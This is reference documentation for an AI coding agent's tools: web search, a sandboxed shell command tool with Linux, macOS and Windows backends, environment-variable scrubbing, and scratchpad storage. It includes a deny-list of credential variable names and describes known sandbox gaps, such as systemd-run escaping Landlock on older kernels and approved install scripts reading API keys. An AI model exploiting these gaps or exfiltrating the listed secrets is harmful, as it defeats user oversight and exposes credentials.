  • Uses HTML scraping (no API key required).
  • HTTP timeout: 30 seconds, and the same 10 MiB streamed body cap as fetch_url.
  • A non-2xx response is an error rather than an empty result set. A block or rate-limit page still carries HTML, and parsing it found no result rows, so being turned away used to read as “No search results found.” – a statement about the query rather than about the request.

CAPTCHA detection

DuckDuckGo occasionally serves a bot-challenge page instead of results (detected by the anomaly-modal element). search_web returns a distinct error so the agent doesn’t silently retry:

DuckDuckGo served a CAPTCHA challenge (bot detection / rate limit).
Retry later.

If this happens often in your environment, configure a search-capable MCP server; see the MCP configuration examples for patterns that work well.

Shell Tool

execute_command

Execute a shell command and return its output.

Permission: read (sandboxed read-only) / workspace (sandboxed, writable inside the workspace roots) / ask and unrestricted (unsandboxed)

Parameters

NameTypeRequiredDescription
commandstringyesThe shell command to execute
timeout_msintegernoTimeout in milliseconds (default: 30000)
scratchpadstringnoSave output to the scratchpad under this name

Behavior

  • Executes the command via sh -c "<command>" on Unix, or powershell.exe -NoProfile -NonInteractive -Command "<command>" on Windows (same shell in both sandboxed and unsandboxed mode).
  • Captures both stdout and stderr.
  • Returns the exit code along with the output if non-zero.
  • Oversized output is losslessly persisted to the scratchpad by the agent layer; the tool does not truncate what it returns to the agent, up to the residency ceiling below.
  • There is no cap on how much a command may print, but there is a cap on how much of it meka holds in memory. Past 8 MiB on one stream the bytes are written to a file in the cache directory instead, and the tool result carries the first and last 32 KiB plus that file’s path, so the whole capture stays reachable with read_file. This exists because a command that writes faster than the turn ends (cat /dev/zero, a runaway build log) previously grew one buffer until the process died.
  • Default timeout is 30 seconds. If the command exceeds the timeout, it is killed (on Unix, via the process group so backgrounded grandchildren are caught too).
  • Supports cancellation: pressing Ctrl+C while a command is running kills the child process.

Shell-specific semantics

  • Unix (sh -c): POSIX $VAR expansion applies. Pass a literal $ with single quotes ('$foo') or backslash escape (\$foo).
  • Windows (powershell.exe -Command): The script body reaches PowerShell directly. Use PowerShell syntax ($var = ..., $env:PATH), and crucially, do not wrap your command in another powershell -Command "...". The outer PowerShell will expand your inner $var references to empty strings before the inner shell runs, producing a parser error on mangled syntax. If you need to invoke a nested script, drop it into a .ps1 file and run it by path, use -EncodedCommand <base64>, or escape each $ as `$.

Read-Only Sandbox

In read mode, commands run inside a sandbox that blocks writes to the user’s real data. Reads, program execution, and network access still work normally: the threat model is “no state mutation, but curl http://x | pdftotext must keep working.”

What’s blocked vs allowed (across all backends)

SurfaceBlockedAllowed
Filesystem writes outside tmp / Low-integrity paths
Filesystem reads
Program execution
Outbound network (TCP/UDP)
dbus / systemd-user state mutationsBubblewrap / macOS / Landlock on kernel 7.1+Landlock below kernel 7.1 / Windows
Mach IPC state mutation (launchd, pasteboard, LaunchServices)macOSLinux / Windows
COM / RPC to Low-integrity-accepting services (Windows)
Inheritance of sensitive parent env vars (API keys, OAuth tokens, …)✓ (all platforms)

The sandbox is not an adversarial containment boundary; it’s defense-in-depth against an agent accidentally modifying user data. Set permission to none if you don’t trust a turn at all.

Scratch space: one place the backends genuinely differ

A confined command may or may not get a writable temporary directory, and this is the one difference between backends big enough to change which commands work:

BackendScratch spaceEffect
Bubblewrap (read)Private /tmp tmpfsmktemp, git, python, gpg, pip all work
Landlock (read)NoneAnything that writes a temp file is denied
Windows workspaceNone outside the rootsNew-TemporaryFile is denied (measured)
macOS Seatbelt (read)Per-backend; see below

Under Bubblewrap the child gets a private writable /tmp, so mktemp succeeds and the write goes nowhere real. Under Landlock there is no such directory and the write is simply denied, which takes git’s index lock, Python’s tempfile, gpg and pip with it. The same is true of workspace on Windows outside the granted roots.

This divergence is deliberate. Granting a scratch directory under Landlock would weaken what read promises on the backend that currently keeps that promise strictly, so the narrower behaviour stays.

The practical cost is diagnostic: the model sees a bare Permission denied naming a path in /tmp (or %TEMP%), with nothing in the message connecting it to the sandbox, and cannot act on it. If a command fails that way and you expected it to work, install bwrap for Landlock hosts, or add the directory it wants as a writable root at workspace.

Environment variable scrubbing

Read-mode sandboxes still permit outbound network (the threat model intentionally keeps curl http://x | pdftotext-style pipelines working), so any secret in the parent process’s environment (ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, OAuth tokens, etc.) would be a live exfiltration vector under prompt injection. meka scrubs the child environment at spawn time across every backend (Bubblewrap, Landlock, Seatbelt, Windows Low-integrity).

  • Unix (Linux + macOS): allow-list. Only a curated set of vars survives into the read-mode child: PATH, HOME, USER, LOGNAME, SHELL, PWD, TERM, COLORTERM, LANG, TMPDIR, TMP, TEMP, plus everything matching the LC_* and XDG_* prefixes. Because read mode intentionally keeps outbound network working, the proxy and CA-bundle vars survive too: HTTP_PROXY, HTTPS_PROXY, NO_PROXY, ALL_PROXY (and their lowercase spellings), SSL_CERT_FILE, SSL_CERT_DIR, REQUESTS_CA_BUNDLE, CURL_CA_BUNDLE and NODE_EXTRA_CA_CERTS – several of which redirect TLS trust, so treat them as part of the boundary. Anything else is dropped, including credential-shaped vars (AWS_*, GITHUB_TOKEN, OPENAI_API_KEY, …) and credential-pointer vars (SSH_AUTH_SOCK, KUBECONFIG, GNUPGHOME, NETRC, GIT_ASKPASS, GIT_SSH_COMMAND, etc.) as well as benign-but-unlisted vars like EDITOR, PAGER, DISPLAY, custom toolchain vars, and so on. Unknown vars are dropped by default.

  • Windows: deny-list. PowerShell pulls in a long tail of system vars (PSModulePath, APPDATA, ProgramFiles, etc.) that don’t fit a tidy allow-list, so the Windows path lets everything through except names that match a heuristic deny-list. Dropped names include:

    • Credential-shaped substrings: *TOKEN*, *SECRET*, *PASSWORD*, *PASSPHRASE*, *API_KEY*, *_KEY*, *BEARER*, *CREDENTIAL*, etc.
    • Credential-pointer substrings: SSH_AUTH_SOCK, KUBECONFIG, GNUPGHOME, NETRC, GIT_ASKPASS, SSH_ASKPASS, GIT_SSH_COMMAND.
    • Provider / service prefixes: ANTHROPIC_*, OPENAI_*, AWS_*, GCP_*, GOOGLE_*, AZURE_*, GITHUB_*, OPENROUTER_*, GROQ_*, MISTRAL_*, COHERE_*, DATABASE_*, POSTGRES_*, MONGO_*, STRIPE_*, CLOUDFLARE_*, VAULT_*, OAUTH_*, JWT_*, SENTRY_*, SLACK_*, DISCORD_*, and others; see is_sensitive_env_name in src/sandbox.rs for the full list.

    The deny-list is intentionally aggressive on false positives (a legitimate GITHUB_ACTOR is dropped alongside GITHUB_TOKEN) because the cost of a missing env var is a confusing tool error, while the cost of a leaked credential is a live exfiltration channel.

ask and unrestricted keep the full parent environment. These are the trusted-operation paths where users legitimately need NPM_TOKEN for npm publish, AWS_* creds for aws s3 cp, GH_TOKEN for gh pr create, etc. If you need a specific var inside a sandboxed shell command, switch to one of them for that turn.

For ask specifically this is worth stating outright, because the approval prompt shows you a command and not its environment: an approved npm test whose postinstall script reads process.env sees ANTHROPIC_API_KEY and every other secret in meka’s environment, on a sandbox that deliberately leaves the network open. That is the same reach an approved write_file has, which is the point of the level – the prompt is what you are trusting, not a scrub behind it. If you want the scrub, workspace keeps it and confines writes to the workspace roots.

Linux: pick a backend

Linux supports two backends, selected via [shell].sandbox_backend in config.toml:

  • Bubblewrap (sandbox_backend = "bubblewrap", recommended): wraps the command in bwrap with --ro-bind /, tmpfs masks over /run, /tmp, /var/tmp, and $XDG_RUNTIME_DIR, plus --unshare-user --unshare-pid --unshare-uts --unshare-ipc. The tmpfs masks make the dbus session bus, systemd-user socket, and other socket-on-disk IPC paths unreachable, so systemctl --user start <unit>, dbus-send, and similar state-changing calls fail. Network is not unshared. Requires the bubblewrap package and a kernel with user-namespace creation enabled.
  • Landlock (sandbox_backend = "landlock", legacy / fallback): uses the Landlock LSM. Blocks filesystem writes via landlock_restrict_self. Requires ABI v3 (kernel 6.2+): below that the kernel does not mediate truncate(2), so a sandboxed command could still empty an existing file despite every open-for-write being denied. meka reports Landlock unusable on those kernels rather than sandboxing with a ruleset that does not enforce what read mode promises, which means kernels 5.13–6.1 need Bubblewrap installed for read-mode shell. On kernel 7.1+ (ABI v9) Landlock also blocks connect() to every Unix socket on disk, which closes the dbus / systemd-user route out of the sandbox but likewise breaks socket-based clients such as docker and psql in read mode. Between ABI v3 and v9 that right does not exist, so a sandboxed shell can invoke state-mutating dbus methods and systemd-run --user escapes the filesystem restriction entirely; meka warns at startup naming exactly which mitigations the running ABI lacks. Prefer Bubblewrap, which removes those sockets on any kernel.

sandbox_backend is unset unless you pin it yourself; meka provider add does not write it. When unset, meka probes Bubblewrap once at startup and prefers it when available, falling back to Landlock with a one-shot warning that points at the install path and the suppress-this-warning escape hatch.

[shell]
sandbox = true                       # default; set to false to disable
sandbox_backend = "bubblewrap"       # or "landlock"; unset = auto-detect

macOS and Windows

  • macOS: Uses sandbox-exec with a hardened SBPL profile (modeled after Codex’s vendored seatbelt policy, which is itself based on Chrome’s renderer sandbox). The profile is closed-by-default: filesystem writes are blocked, Mach-lookup is restricted to a curated allow-list of safe services, and mutation paths (launchd job control, pasteboard, LaunchServices, distributed notifications) are not in the allow-list. Network and DNS resolution remain available. The sandbox_backend config key is ignored.
  • Windows: Spawns the child with a duplicated primary token dropped to Low integrity (SECURITY_MANDATORY_LOW_RID) via SetTokenInformation(TokenIntegrityLevel, …). Writes to the home directory, %APPDATA%, Program Files, and system directories (any location with Medium-or-higher integrity ACLs) are blocked by the kernel. Low integrity also strips token privileges, and the same env scrubbing applied on Unix runs here (see Environment variable scrubbing above). The sandbox_backend config key is ignored.

Low integrity is not a total write-denial: the child can still write to the small residual Low-integrity-writable surface (%LOCALAPPDATA%\Low, %TEMP%\Low, any path with an explicit Low-integrity write ACE) and to files it creates itself.

Windows at workspace

workspace uses a second mechanism, not the Low-integrity token above. meka derives a capability SID from each workspace root, places an inheritable GENERIC_WRITE | DELETE ACE for it on that root, and runs the shell under a WRITE_RESTRICTED token carrying that capability, so a write succeeds exactly where one of those ACEs exists. Three consequences worth knowing before you use it:

  • meka has to own the root, which is what lets it grant without elevation. A network share or another user’s folder cannot be a workspace root.
  • PowerShell runs in ConstrainedLanguage mode under a restricted token, so scripts that construct .NET types fail there while working at unrestricted. meka’s UTF-8 output preamble is skipped for the same reason, so non-ASCII output may be mangled at workspace.
  • The ACE is real, standing state on your directory, visible in icacls. It is released when the process exits, Ctrl+C included, but not after a crash or a kill.

See Permissions for the full account.

When the configured backend is unavailable

If sandbox_backend = "bubblewrap" is set but bwrap isn’t on $PATH (or user namespaces are denied), execute_command in read mode returns a hard error rather than silently falling back. The error names the configured backend and the specific failure reason. Either install bubblewrap, set sandbox_backend = "landlock", or switch to unrestricted (Shift+Tab).

Disabling the sandbox entirely

To disable sandboxed shell execution altogether, set sandbox = false under [shell]. When disabled, shell commands require ask or unrestricted: read loses the tool entirely, and workspace refuses it with an error naming the key, because there is no longer anything to hold the boundary that mode promises. Reach for unrestricted on those turns rather than expecting workspace to quietly run unconfined.

[shell]
sandbox = false

Scratchpad

The scratchpad is a session-scoped working memory that the agent can use to store, retrieve, edit, and manage content without consuming conversation context. Entries are identified by string names and persist across turns within a session.

When the Scratchpad is Used

  • Proactively: The agent stores intermediate results (extracted text, API responses, research notes) for later use.
  • Via scratchpad parameter: any tool call carrying one has its output saved there instead of returned inline. See Scratchpad Parameter for which tools advertise it.
  • Automatically: when a tool’s output exceeds 30,000 bytes, it is saved under a generated name (e.g. execute_command_a1b2c3_1) and replaced with a preview.

Tools

The whole family ships default-active; no load_tool round-trip is required to use any of them.

scratchpad_write

Store content in the scratchpad. If the name already exists, the content is overwritten.

Permission: Read

NameTypeRequiredDescription
namestringyesName for the entry
contentstringyesThe content to store

scratchpad_read

Read or search a scratchpad entry by name.

Permission: Read

NameTypeRequiredDescription
namestringyesThe entry name
offsetintegernoCharacter offset to start reading from (default: 0)
limitintegernoMaximum characters to return; no hard cap. Pass the entry’s size to load all content in one call. (Default and exact value are advertised in the tool’s parameter schema.)
regexstringnoSearch the entry and return matching lines (capped, exact value advertised in the tool’s parameter schema).

scratchpad_edit

Edit a scratchpad entry in place. Provide content for a full overwrite, or old_string/new_string for targeted replacement.

Permission: Read

NameTypeRequiredDescription
namestringyesThe entry name
contentstringnoFull replacement (mutually exclusive with old/new)
old_stringstringnoString to find
new_stringstringnoReplacement string
replace_allbooleannoReplace all occurrences (default: false)

scratchpad_list

List all scratchpad entries with their name, size, and creation time. No parameters.

Permission: Read

scratchpad_delete

Delete a scratchpad entry by name.

Permission: Read

NameTypeRequiredDescription
namestringyesThe entry name to delete

scratchpad_merge

Combine several entries into one without routing the bytes through the conversation. Useful for collecting parallel sub-agent reports. A sub-agent cannot merge into a name it inherited read-only from its parent, though it may read such a name as a source.

Permission: Read

NameTypeRequiredDescription
sourcesarray of stringyesEntry names to combine, in order
targetstringyesName to store the result under; overwrites if it exists
formatstringnoconcat_with_headers (default, prepends --- name ---), concat, or json_array

scratchpad_rename

Rename an entry without round-tripping its content through the conversation. Errors if old does not exist, if new already exists, or, for a sub-agent, if either name is inherited read-only.

Permission: Read

NameTypeRequiredDescription
oldstringyesCurrent entry name
newstringyesReplacement entry name

scratchpad_load_file

Read a file’s contents into a scratchpad entry without the bytes passing through the conversation. The model never sees the payload, which is what makes this the way to stage a large log or document for inherit_scratchpad. UTF-8 text only; a binary file is refused with its detected MIME type. Overwrites an existing entry of the same name, and a sub-agent cannot load into a name it inherited read-only from its parent.

Permission: Read

NameTypeRequiredDescription
pathstringyesThe file path to read
namestringyesName to store the contents under

scratchpad_save_file

Write a scratchpad entry out to a file, again without routing the bytes through the conversation. A sub-agent can save an entry it inherited, so a worker’s report reaches disk without being copied through the model.

Permission: Workspace

This is the one scratchpad tool that leaves meka’s own storage, so it is the one that requires a level that can write. It reads as the scratchpad’s write_file and is fenced identically: at workspace the path must resolve inside a workspace root, and the refusal is the same one write_file gives. Every other scratchpad tool stays at read because the scratchpad lives in meka’s database, not your tree.

NameTypeRequiredDescription
namestringyesThe scratchpad entry to read from
pathstringyesThe file path to write to
forcebooleannoReplace the file if it already exists; without it, saving over an existing file is refused

Handing entries to a sub-agent

agent_spawn’s inherit_scratchpad takes a list of the parent’s entry names and grants the sub-agent read-only access to exactly those:

agent_spawn(prompt: "summarise the failures", inherit_scratchpad: ["build_log"])

The sub-agent’s scratchpad_read falls back to the parent for an inherited name, and its scratchpad_list shows the entry with origin inherited. scratchpad_write, scratchpad_edit and scratchpad_delete targeting one return an error, so a worker cannot rewrite what it was lent.

This is how a large captured output reaches a sub-agent without being re-inlined into the prompt. When you expect to delegate a result later, name it at the source with the scratchpad parameter (execute_command({command: "...", scratchpad: "build_log"})) so there is a semantic name to pass through.

Lifecycle

  • Entries are scoped to the session and persist across turns.
  • Entries survive session compaction (/compact).
  • Entries are deleted when the session is deleted.
  • Two sessions can have entries with the same name without conflict.
  • Writing to an existing name overwrites it silently.